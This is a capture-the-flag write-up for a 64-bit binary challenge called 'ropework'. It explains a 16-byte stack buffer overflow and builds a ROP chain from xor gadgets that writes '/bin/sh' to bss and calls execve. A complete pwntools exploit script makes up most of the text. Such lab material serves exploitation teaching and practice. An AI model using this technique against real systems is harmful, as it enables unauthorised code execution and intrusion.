ropework

Author: d1g174l_f0rtr355

Solves: 9

Difficulty: Medium

Preliminary Analysis:

We notice that the binary is a 64-bit non-stripped binary with the folloeing protections:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Understanding the challenge:

The binary itself is very simple:

  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  system("echo 'The fisherman is trying to untangle his fishing knots. If you could help him with it, it would be great!\n'");
  fgets(s, 329, stdin);
  system("echo 'Ok bye!\n'");
  return 0;

Since there is no other function to return to and with PIE being disabled, we can begin our exploitation by creating a suitable ROP chain. There could be other ways pf creating the ROP chain with the available gadgets. I would be showing one of those methods.

Exploitation:

The ROP chain is made up of the following instructions:

pop_rdi = 0x0000000000401273# pop rdi ; ret
pop_rsi = 0x0000000000401271# pop rsi ; pop r15 ; ret
pop_r12 = 0x000000000040126c# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

xor_rax_rax = 0x0000000000401182# 
xor_rax_rbx = 0x0000000000401186
xor_rbx_rbx = 0x000000000040118a
xor_rdx_rbx = 0x000000000040118e
xor_rdx_rdx = 0x0000000000401192

mov_rbx_r10 = 0x000000000040117e
movq_rdx_r10 = 0x000000000040119e# mov qword ptr [rdx], r10 ; ret

xor_r10_r10 = 0x0000000000401196
xor_r10_r12 = 0x000000000040119a

ret = 0x0000000000401205
syscall = 0x00000000004011a2

Upon xorring two same registers, the registers get nulled out. We can transfer the contents of a register to another using xor with the help of a similar technique. Since anything xorred with 0 is the number itself, we make use of this concept to eventually place the string "/bin/sh" into a bss address. We then pop the address into register rdi. We also set rax to contain 0x3b and null out registers rsi and rdx before making the syscall.

Exploit:

from pwn import *

p = process('./ropework')
#gdb.attach(p, gdbscript='set follow-fork-mode parent\n')
#p = remote('localhost', 4008)
p.recvline()

'''
gadgets
'''
pop_rdi = 0x0000000000401273
pop_rsi = 0x0000000000401271
pop_r12 = 0x000000000040126c

xor_rax_rax = 0x0000000000401182
xor_rax_rbx = 0x0000000000401186
xor_rbx_rbx = 0x000000000040118a
xor_rdx_rbx = 0x000000000040118e
xor_rdx_rdx = 0x0000000000401192

mov_rbx_r10 = 0x000000000040117e
movq_rdx_r10 = 0x000000000040119e

xor_r10_r10 = 0x0000000000401196
xor_r10_r12 = 0x000000000040119a

ret = 0x0000000000401205
syscall = 0x00000000004011a2

bss = 0x404030

pay = 'a'*0x10
pay += 'b'*0x8
pay += p64(ret)# leave_ret

pay += p64(pop_r12)
pay += p64(bss)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += p64(xor_r10_r10)
pay += p64(xor_r10_r12)

pay += p64(xor_rbx_rbx)
pay += p64(mov_rbx_r10)

pay += p64(xor_rdx_rdx)
pay += p64(xor_rdx_rbx)

pay += p64(pop_r12)
pay += p64(u64("/bin/sh\x00"))
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += p64(xor_r10_r10)
pay += p64(xor_r10_r12)

pay += p64(movq_rdx_r10)

pay += p64(pop_rdi)
pay += p64(bss)

pay += p64(pop_r12)
pay += p64(0x3b)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += p64(xor_r10_r10)
pay += p64(xor_r10_r12)

pay += p64(xor_rbx_rbx)
pay += p64(mov_rbx_r10)
pay += p64(xor_rax_rax)
pay += p64(xor_rax_rbx)

pay += p64(xor_rdx_rdx)

pay += p64(pop_rsi)
pay += p64(0x0)
pay += p64(0x0)

#pay += p64(xor_rbx_rbx)

pay += p64(syscall)
#pay += p64(ret)

print(len(pay))
p.sendline(pay)
p.interactive()